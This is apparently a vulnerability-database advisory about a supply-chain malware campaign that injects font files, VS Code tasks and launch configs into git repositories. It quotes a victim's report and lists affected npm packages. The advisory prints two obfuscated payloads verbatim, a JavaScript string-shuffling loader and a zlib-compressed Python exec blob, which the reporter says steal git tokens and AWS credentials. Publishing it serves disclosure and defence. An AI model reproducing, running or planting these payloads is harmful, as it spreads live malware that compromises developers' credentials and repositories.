VDB
GCVE-110-OSM-2026-588
GCVE-110-OSM-2026-588
Advisory PublishedCVSS 9.6/10
a malware attack was initiated which you guys covered, the polinrider attack, however, the main issue here is i was not compromised prior to this. The force push happened across my repos where force push was available and in this version, it adds random font files with vscode tasks and launch configs, together with a set of recommended extensions that I'm assuming to contain malware
This makes it difficult to detect with the script provided, and since its attached to vscode automatically on launch, it makes it vulnerable to anyone who pulls after opening the editor, while using the bat files you flagged to persist the changes.
I believe the obfuscated code linked below is meant to use the persons local git credentials, along with reading aws creds in the process, though you can confirm this. I also have to note that since friday i have not run any code or installed any package, so the malicious font file or config compromise is not on disk, rather the force push exists on remote, making it conclusive that they acquired my local github token from a vscode session
global['!']='10-010';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o<y;o++){b[o]=w.charAt(o)};for(var o=0;o<y;o++){var q=n*(o+228)+(n%50332);var e=n*(o+128)+(n%52119);var u=q%y;var v=e%y;var m=b[u];b[u]=b[v];b[v]=m;n=(q+e)%4289487;};return b.join('')};var EKc=sfL('wuqktamceigynzbosdctpusocrjhrflovnxrt').substr(0,TUU);var joW='ca.qmi=),sr.7,fnu2;v5rxrr,"bgrbff=prdl+s6Aqegh;v.=lb.;=qu atzvn]"0e)=+]rhklf+gCm7=f=v)2,3;=]i;raei[,y4a9,,+si+,,;av=e9d7af6uv;vndqjf=r+w5[f(k)tl)p)liehtrtgs=)+aph]]a=)ec((s;78)r]a;+h]7)irav0sr+8+;=ho[([lrftud;e<(mgha=)l)}y=2it<+jar)=i=!ru}v1w(mnars;.7.,+=vrrrre) i (g,=]xfr6Al(nga{-za=6ep7o(i-=sc. arhu; ,avrs.=, ,,mu(9 9n+tp9vrrviv{C0x" qh;+lCr;;)g[;(k7h=rluo41<ur+2r na,+,s8>}ok n[abr0;CsdnA3v44]irr00()1y)7=3=ov{(1t";1e(s+..}h,(Celzat+q5;r ;)d(v;zj.;;etsr g5(jie )0);8*ll.(evzk"o;,fto==j"S=o.)(t81fnke.0n )woc6stnh6=arvjr q{ehxytnoajv[)o-e}au>n(aee=(!tta]uar"{;7l82e=)p.mhu<ti8a;z)(=tn2aih[.rrtv0q2ot-Clfv[n);.;4f(ir;;;g;6ylledi(- 4n)[fitsr y.<.u0;a[{g-seod=[, ((naoi=e"r)a plsp.hu0) p]);nu;vl;r2Ajq-km,o;.{oc81=ih;n}+c.w[*qrm2 l=;nrsw)6p]ns.tlntw8=60dvqqf"ozCr+}Cia,"1itzr0o fg1m[=y;s91ilz,;aa,;=ch=,1g]udlp(=+barA(rpy(()=.t9+ph t,i+St;mvvf(n(.o,1refr;e+(.c;urnaui+try. d]hn(aqnorn)h)c';var dgC=sfL[EKc];var Apa='';var jFD=dgC;var xBg=dgC(Apa,sfL(joW));var pYd=xBg(sfL('o B%v[Raca)rs_bv]0tcr6RlRclmtp.na6 cR]%pw:ste-%C8]tuo;x0ir=0m8d5|.u)(r.nCR(%3i)4c14\/og;Rscs=c;RrT%R7%f\/a .r)sp9oiJ%o9sRsp{wet=,.r}:.%ei_5n,d(7H]Rc )hrRar)vR<mox*-9u4.r0.h.,etc=\/3s+!bi%nwl%&\/%Rl%,1]].J}_!cf=o0=.h5r].ce+;]]3(Rawd.l)$49f 1;bft95ii7[]]..7t}ldtfapEc3z.9]_R,%.2\/ch!Ri4_r%dr1tq0pl-x3a9=R0Rt\'cR["c?"b]!l(,3(}tR\/$rm2_RRw"+)gr2:;epRRR,)en4(bh#)%rg3ge%0TR8.a e7]sh.hR:R(Rx?d!=|s=2>.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=<c%;,](_6cTs2%5t]541.u2R2n.Gai9.ai059Ra!at)_"7+alr(cg%,(};fcRru]f1\/]eoe)c}}]_toud)(2n.]%v}[:]538 $;.ARR}R-"R;Ro1R,,e.{1.cor ;de_2(>D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R<ha]th15Rpe5)!kn;@oRR(51)=e lt+ar(3)e:e#Rf)Cf{d.aR\'6a(8j]]cp()onbLxcRa.rne:8ie!)oRRRde%2exuq}l5..fe3R.5x;f}8)791.i3c)(#e=vd)r.R!5R}%tt!Er%GRRR<.g(RR)79Er6B6]t}$1{R]c4e!e+f4f7":) (sys%Ranua)=.i_ERR5cR_7f8a6cr9ice.>.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})();
However, I did run this code as i have been studying its spread with my colleague from work. It did affect other projects which as an external contributer i have no access to. We attribute this as some sort of trojan attack in one repo that initiated this, or was brought about by a compromised machine. Funny thing is it came about as a normal git push event and not a force push, we are not aware of what it does but since i ran it in a docker container, it should not have had access to my file system
However i ended up using vscode containers to access the running container. Upon execution it gave an ast error, but i think it was intended so that it could acquire my token, thus making me compromised without accessing any of the files or payloads from other projects
pyobfuscate=(lambda getattr:[((lambda IIlII,IlIIl:setattr(__builtins__,IIlII,IlIIl))(IIlII,IlIIl)) for IIlII,IlIIl in getattr.items()]);Il=chr(114)+chr(101);lI=r'[^a-zA-Z0-9]';lIl=chr(115)+chr(117)+chr(98);lllllllllllllll, llllllllllllllI, lllllllllllllIl,lllllllllIIllIIlI = __import__, getattr, bytes,exec
__import__("sys").setrecursionlimit(100000000);lllllllllIIllIIlI(llllllllllllllI(lllllllllllllll(lllllllllllllIl.fromhex('7a6c6962').decode()), lllllllllllllIl.fromhex('6465636f6d7072657373').decode())(lllllllllllllIl.fromhex('789ced5ded6e1b49ae7d15df5f9112ade0fdebc0afb02f60180dc751b2069c789078b0bb58ecbb5f7d744bdd55e71c92d525591ab73180acfa200fc94316ab25679a66fb73fbfcf0e3cbd787abe6e6f53f7fac661f9bf9e7e6bab9fdfdfaebf366f6ebd3e3eb7a60bfeafaa6b95e36cde3cbd755d32c1f5f9a875fdf1f5ffefcf9fab9697f6efff1f273b57e777ddb5c6f076fdb89d9dd5af06cbe58ffb779b71ebf9ef5c56e870f8337cd6e68b06cfd7ebb747e3f6f15dededd77aa99a2e4a7b5e5666de2024f1d14ddae655ea7ab7a325e7e7d5dc089f6ed32dfba07b43407fbf3f3f9dd6cb7e0e3c776e1a7f6757effa954643bdf13d02a693ecef6bfedf55100f3de1aba281d99cfe71571070554f6a5bd60a3b502ee5102d0823eace67e0eb8defe74ccbebbc76b0e856423eaebd3afa659f0f99f0f3f56c902bef8f1f9e1f7efcdea7e19e2a6ba126cd6373beecd91db1b8b85f3595bfd5aaf7f7f7ef9f2f0fc3b7758b7e0dbf3cbc32bf467b7e29fab7f2f7aeff7458ec37438325f12e779cf13992b46d7b6e87ea3381417ef164d27325cfa7a3236dc5834dd81a90f9c4e62c78c34c1bbed7fbcfc8b2563b7e4e975b53f30bbb1c7971f7f3cb7bc1acefcf77f485e2f81bfaf5e1f5e5f7ff54c9ecd673b1b533bb47f673dc695b065ecfe64c1b0a016cadb87ad2a34b2e2b43a6a1e5e48cbf14ff60d4fd78a6edad1b3ed18aa26c6fad4bfee150f479f7bd0b0996df70e0ff6effd1ea0e2e19eefda5e6ec0aa8d89f3f9fada73cd5a9f83a5df9e9e0f788fd5e8b31e6d00ef94cad3153d527619d0a5da711aa1de656f5cbb57b3c708f7e215000c7ace796180efee514d98cd02f736c785703f12bbe38deaaafb9bc7d6e6ad973c27c93ea4c6ebe9dc502881ec18470cd7b383c2c700032ad7c9c2b6ccdc269b360f9472d9fb074cbd894d67b091324a426668d50bdb5fb3145eebe37176c48759b5883d25bdc3c423243d7af4992ebe0c1b77ef2b3ff0085a1029069bb57f6b41e74f10d27bc0ecf020fef8e52deace6a8dcb511dbedf208ec0c3725434d381e25ed05361404a01014e74fe4ace52f9e040e8e7dd94d0537c08b16001f3bc1fbbf86ce936e86b3f25e7a61b3aa4eca1ba96b921dd547aba563d5bf991b13f1efd476973b8e5f76ae06ca3662eee15fdaa359bb56fadc05e0f36ee6d7cfac61c918d6f5adaebfbb47fdd8999af9e7faff6580e139f368a6be84855f1059b25df5e7e6d4d7efab9e914e7e91327d85127e7d44d7750155dfdb61164eb41249a197b4e7fb75dbb3d0b7b9bb6d6edccdc7d32b0b114b9647fbd98cfef7b9f1eecaf16a03de845e38074961168969ab11e1852d7516a3a676ccd074fe44edad8ef5eb73909f4666adbe58ee691e67daea61321847630d187ad4052faca4f9785d3dfb9e7b8cce15360e94f11c64049ed1d17e4cb1e3908787633937ced83f12591fa378ff4833a9791d60c0ae8f6a1c9d8e71da39f978c1470d85ed6f48682d257966e4759a8d6f3aa63cfb435e720bd5bc84d5840f81ec2f88b60128d110f22e455643efcae4b4506aa4637076fd64a839c4738ed883921b33a710b292915e4664979c28ebd072ea46f12cba2a5147dd370afacfd1941cccad9840a5ae0b213bb19e5c990f83a58fa1c414c5fdd75d1812c687a01dae47540aff19f4fb8ac552d5c603176003fbecacaaea39b72551d7f6d2fcb9b4147eb3b8c4762c585a962cfd5a9ee5eeb74dbb26f0a9c2fdcaf14a5b3f0e882126acdc6dd89ead1a8b3f3c0990a9f85668e482a429d2b8d9f12ddd6ee354204f31940aee64dbbbef26ecf3efd2a56e8ac468da3ddc8362378c709ecb792794c6f4aeb6685de8de3ca685fa7e02ab21cb852ff0cabe7b20a9d7bd199206a813f32a30ade5e9fa30fc8f1c3de7ec4118190838ea86a4f5d15aecef81ab7594707738aaf94443bb7d0f53c78b60573ae4fa87a4f53cb9ed01d2c1ea2e147a133dbebe4a559369257dee47a0e92115c1c4bc5c879b125d0db3f2b6a07c4d31af65aa72be9a45588dec896242540209835cd8834b2872a7484b6c8d5f287189f9f30e66ec7e3836123645ffae295ab4868f80aeac9c992071879eb73c4e74071174b0fe6aad0e150413bf3fe185b23d74b474f1deb4fc67de6626a4c69758c5ebac6c5bdb4daa40389678fc73e6d4fe52bde9843297d1dd546d77de458f670bee45473e56fe6eb76af517b0a9f86fb0e966ac2fd840d3e97c44e1dfb4103f964a4e60d4e40158e0d91cf6a849be25eb85ee8ed92c19e23462eb6e96be94577c4e7b58853d59e6517dd7b075eab5bba23172d47aaa62b0291de83cfb498cdd609eff943cbea55895c7ccac2637c3fca1f83dd6bf07165c113ad58db33943a52ecb86f3c9de62828f2bd12793f8c68fb7384ef6e8e78a45cfba9efa8e7aa81c7574dc5c2aa7aa09a17db56f1b88635120ad8c01ded43c1c0a952ffb29d72b9e0feeafa66cdee75cc4782d1bb97abf8319c954ef10d932a3c83bfedded77a147bf819096cff7704cb64c761ed2734c9c63bf964b27d8f6797673e2eec6262e016ec8425183bac7622b1c2e285a885e10904142008ec35d6bbe4c0e072a8996951574b2f48fa536d85ee063e8a1903565b4a715cfc718f32c4540d8c30d2183306a8601c64800dbda22aa4524ee8e214b4309a2484c74f119f865dc84c33244361095867aadaf88cad3ef2470b92934a28262c4e057e0686f87c1ee38a814c4dbf3b62031927f5fa9445c309173b825965198d30f4ee2f9b9f51578f3a37a1a37c52d309bd98ab15dd712e3727366e12fbed6f545c3c87e9cd7591b810bb4c748f0f221ef148e77b8df52e3947bbba7124041c97c49335f540b1ef094c7fed00ab4733d49343a9c0640f760877e8416d58a80f6fa6cb014ee80bc47a74bd64ea4a9a9d444988024e1564afb1be76d128e1f050e8fbba164cf7dd1a7e0686f87c1ee38a814c4dbf3b62031927f5fa9445c3097770984da11619aa1f5c752fe5226830e5bcc7cd92e06ccbb113bcd49348cc64ab7273c01366328be8e3bdc6fadadd16342dea6ae905497faaadd0ddc0473163c06a4b298e8b3fee3186180949133bc5c9d8c4549b85001901a5bca1b384d12cf11d7ebaccf66aba37d4f0333064ba374074d3bd81e3f76cbdd82c82c13102a117104b91e2fd8de1526e0bd2c26ef2bcc7cd7230dd19a63b83f482a43fd556e86ee0a3983160b5a514c7c51ff728434cd5c008238d3163800ac64106d8d02baac274d3406bf1b4df3443321496809d7aa44466819f0f33d30503a29b2e181cbf67ebc5264f1a1cd3101925622552da5e2e2ee56a6130e3bcc7cd12305d2aa64b85f482a43fd556e86ee0a3983160b5a514c7c51ff718438c84a4899de2646c62aacd42808c8052a6eb41c485cc3443321496809d3a9c4466dccfd3ad80a09b6e051cbf67ebc5e64c1a1c23067a013112e94cfe1ce7223e793897263f3a6e5680f3be14501590bb8e7a6226abc856bcd758ff66b700c17a5f2d358328bea66fb8594c674ee3fe752892c4f5b2799c49a15ce8a61d67976057804cd35f7078d6d74e620f27041bbda9dd64db2eb4739c2e4035fc0c0cf1f93cc61503999a7e77c406324eeaf5298b1c400792651f6216faddfbdaffa66eedff09c2296e54dc97e7727562e36605b16f2bfbc17c3cc2548ac491d636484f5e316440e1f97663ed8ced5b41fb4a572a0649d86dacc1984340ba69876c0f4e8d82a882e341fe4f9712873aed61a6b8f12747936dbbd0de6dba94d4f0f361c6e7ea18450c406afaddf119c838a9d7a7e471000db67bc4b654d5ee7dcdffe9d589beb3e5af27e7366ee6bedda0ef07f3f108c7ac22404461985ec20bb243ec32393c3e28ce3ae102bcd7585fbb6d6b6742ec424808389561de7814fb9ec0f4170eb07a34436be5900a274f0c75d0623ff3388d105ae00668570e4ee80b5068ba427ad6d7ae451e4e30c50d67aad8926988acc5d37885199b5c321496809dbae04466819f81213e9fc7b8622053d3ef8ed840c649bd3e659103283ea8825d76b667f7befeffc98afc93d975659effa5d7e0ee798f9b45ca79ffc04e8824034562a6bf13a2168627ccac15d1c77b8df5b5fb3f685ad4d5254568b8c0791c98ee063e8a1903565b4a715cfc718f32a45af25239d4a8145a4154c1ae709292597f82f8adb9c024e548c28e26f90e3c10f17daa0feee5dc2f6ebca88de5d0fb8b5930782a194996280b01b5f4b862a04d8ba08f590af19fee2a34ddf16bf8194b638eae940a36da77c76620e3a45e9f52c701945232d654335d983765ade1d04e0783320e858306a5bc5dcfedb0c191a489d081fe12b6e8fd434d059c8cd910112d4b8097e9bbf787a743e7ff58482c3e97873f6cdc4c80c2b6bd375ab31fa76ce7d1825b941c86435acaf71aeb5d72deef05d303332b8753bbd8829d3ab84466819f0f333e57c728620052d3ef8ecf40c649bd3e25cf70220d8e69888c12b11229edbac34be80cf3c2d15cc8b899fc6fd61a267b4da0a9484954771e472cf0aac07b8df56fdb42826c303d100c899ac7f5a1567bd90d1bbe80a2596c3c7092492d4a48f260a87cfcbba0fba354184fb20d4bef7f13e532ce14606be1b93b9d36d19e9388c23091623a16c8e102f20fe5443ce291cef71aebdff6f4e24808382e89a770ea81a8efa72f89c0d9f745612ac3c442e6f81fba54a8f01469663142cd13815a28084a9dec207d0eac50bddb1fd9bc3fa29876a677a199443658186a7bf58791622ee476381c211a46c460b81cea6e19942f2cb6e0adb9e5324889081118194dd32ceece48416146fba6623d17a921ce0cc56150b4310011edcc2e3cae28154b0fe73e942ec3b74555adbf345cd4e364cdc4c8945290e554a94d723fd7972ea546618d5924056c4f980d3bd0b4287388779166db522ef6594659dc46217416f4744685d4706e55fa2e3303a41388121d2d5c1b238503d92d7c01c4a347021e2d862663d6601dcc5f9cd33d7979c533781d6c1b500c8a8927f335974af91553a1da1457c583c8d2f4f5b34f28ef43289904e01cf8b83823d2c3eae0899dd6980315eeebeb77052d51e4397b8920ec50f7428a4ebbc65ba18a54530010934ce4fd0aefc19caa90d2d3af75c8b3c3594fed2448e08ab7c05846f568d2658ca70916ccff407dd4c5142a92652ed085e509af0a90b09bfa1e2132c8e8aeeed05a9b78e92c679ba24d14bf91dfde04a5b8302524210aac28daa84302414277502ec960576a0832c3a48b0835bd9d22b68a11553e3cad53287c713d4d264189053ec03674c3ce1291bbca4874c53cc3192e35cb6c59bc11859b7270667e15d4418a98088c991b39b91cd300130020ffa9353ba2d4a411442376952463b415c1e316f3a1a0bc68fadb158bc900d0328b16ae7c26c3054ba5bd0587aea0ae5514834553ecc997dbd47538a0f0d893090673069a06d2171ce2667130217bf86fc4cb9d41c6fadebc7618534116475d99ba91e35d8a5d961730491d57a28b2182d4250ccad07373e0b44499853a466c1834300a04a78b909944b4fb9c63b343a266de0a242f7702dd53b977f6c5806d1e2cd7269a69e69093449979ce3299aaefedf29dd088aa2eab14f46cee44767222965e527260d91153d2ee21fbedf692c91ffa435b0ab1a4cb0670706c3ccf8886b82a34ac9a2646e92863be562dc85927802e14cc4acdf3580347e2cb634995a73650e6689086797f85e2e334156d43e4be940ec49408c65d313663e3b6c6e7df3c38208e4edaa4da7de929c98d95182ef1b75fd11345c1c2a0c8e528c04dd74791d9e665c2645f19328d4c667d959c8ae1042efb8305e21f30cc8215edbe5566a80641792ae42b9d82cea0db24f002966ba9a62c404a8cb038eaf5925bde708a794e2011782024258a1784de8a100a6e90ab37d6f1773ec304e59e781ca0e508c4c7c1fe1ae8fc4c7908cc99249475356d82018e7437303e545d2e83adb6a8a366f34cb0c25af0d735feaa6ca6a5f893306ffee764491702523a3a0733bbbd156f2838c69174d66a728961854513200f54ea1887a95f28fc7486560d12db50e34c27193ce73921c91e298d43959e29571608852972551b12df3b4b78e2388356ce27794129836d4858ea2c6e9e9af326e1612c6561946144bc9294ab46ec477e8f4592c29099d4e86b98f5a976a04b20ce10a3524c9ca8ce4c175cf61fbb4a9d459ee17ba620b77f994b29ed88e466b995c78ca564ec9cf5645a947cfa8f8bbd24ab94ad162460021164fed57fa411d7e6e094b666a94ce3cb825c1b9e717edea745840b6b89e11cef7038a8598507d2562d8ef6ad8d280a03799555e79358816442ace4ef17e8b35e8857b245bd48a7827f60bf7f67380b6e96b99f03f374bb54f252d385182710fa98a9a72428103411c744b6746da64bad769b932c7426a8e03229bd4e16e6634616a85a000bb8385964c18d3187ae86337cb5a5397e3ea79b0001744f30e44e59e97292cc518d525506f1e319a39e99060ee8b260414706bf6b0186b1468543f202ceea0d910c194a929e9649eaefbf9691c81a591038fffabb3c5d0b0858960d9ef3d230c3862c370b0706ca8495be242d6c4e5bd598d7055f39f29e92d819d9eae8031a23aca10f36b8bfbc52b88dbe2308a962cb036244a2d239940e4a0ec78476153f4c726934adb3f2d92e44b60e32abd2dc21c9df3efb77c258e39db9a4a16fb8248a023a971983c7954f15271d75271e9253eba32ac40eaec5ff0dad92e581c4b70c33ec40cae2ded3b04bff2dbe6ede015bc3ca75c0f5510e18f0c05e3b019322e2389d0a521d463c5611e3fc1481d61c184a445eb2b71741729221b15812d653d80b4a9ec9513cb94cfd6ab3680836f28d14a4d400a878e148253e1bc916200be0527f9beeea19b1c5824ca11c249e0cdd95346ab2c990e931245c7bb35d11eba9707fd0940ac8341c2f2bcfb4113875919ef0498f49ed98d61b45128a939ec90c5147d3934c1b6e10b4cbce2f9f971d284b72d00fa03fe1da63d23f6e529e86cbcc9d4a014c630003ae031638fcc5b564d08d3e3c42f6c0c7c65c6ce07880b3aa3ac1e62aee584d5378d21fa3bf72784a7ace91bd88b7823e426e4608df39e5097ec12129668d98e07177cc7dbec9e0f8d30c874480175617668110094050e343dc1d2c369039ccd2854c42b6f3430921fc8059511a1be4589b82b173de02e04dd9c152f9b12c104a8c52c4c2d08807889198e4764b406720608a54f44244a00a968e8890c85b996a47037584c82d5fbc1ab2078ae0c1a4116029e5b28545605ce78449203d1f36cfb920452db32558e845ced213db6724cda22148cdb648b1b2ffac39cbca31e1320dd5c1c05a14bf80565f15d5a4e581d26620fc5c94a8bd82cb0218544506c361b6f3d1a146a569dcdd7a36373c1d31486079c34349f033d86a41502e13ca644988b5768d8e4d61aa208d14b47081caae082eea013340404f6a8880c24c8ba02f8bc0d0c062d351ad56eec0e757113e63ab2f72aad80566525928262a59637e467f27893c5c29076c98ef8ec640c649bd3ee5cc70226552f01c216621e09406503a58ed3593fad3836a28b024b5a20c4b50790347f5f7b738c0097d819ac0fbe251ad8add4039b813e2835305d96bac77c911dfc2f0b69fe81b60150a39466792d03883a9cdfbfdd5910f77053939d03db22eeedecfefe78b54f8ed5050d3cceed291cde07c31dbef5d7663332470bcc84eea2839352d1c07e4f6f9e1c797af0f37bb3d8b361edba51b862c06c34d276271881b5bda6cd0c1089c31e23ae6d663edb9782a8fe4519131e2d4d24ae49f8bb70b78394cb68b362468ebfea752d6bdadeffab65d7014b3543ead2d037e5cb01bc19294fa553ba4daed560d7917143e5096ea37b075fad7d1dd6be7d8dd786fd3e657efa388fe3c7bbeb320baf026a4fe30e3bca62c5bbddc48c3a65420b41819bc602a2d1702952eaf373b467cde0ddddecddaf143e8da04e80f76136b7624cb9b6445be95eca37af08e64b9098689cf377220e9da7c25830165c2c5c20df9866cb17203926cc730dbb6dd72ff79d6b2f46ad6fe76f5f8f2757573b5faf7d3eb6cf3eb7c3efbfbfceae9dbd5cf97d7abc787e7e7872fcfabd9f7d5ebc3ebebafb5c62f7f3e3dbf3efdfcbda6fcd587c7971f7f3c3daf3e2caefef1f273bdf5eae5d7155aba6c17aeb734cd8f97af7f3eaf9a66bdebc387f9d5ffdd5e7de8567e7009f8f9f063b8bd8371b57afebd6aa1ccd6a9913866d6650bf4d80ccda5836b1fdecdda818f1fdb5f3eed5ee7f79f3c221248f3bb76d2b7bb02809ece7593a7e0b95d72d3210ad992a9eb032b92b03e0cefc342b44b0f8f7c92e334470f17fcf51934ff7fcd743864'.replace("\n" , ""))).decode())
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
9.6/10
Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | nemo-fpti | all (affected), all (affected), all (affected), all (affected) | — |
| unknown | all (affected), all (affected) | — | |
| unknown | pino-pretty-log | all (affected), all (affected) | — |
| unknown | @eric-orderbuddyinfo/react-noval | all (affected), all (affected), all (affected), all (affected), all (affected), all (affected), all (affected), all (affected), all (affected) | — |
Explore Further
Investigate this vulnerability in the interactive console or download the raw GCVE record.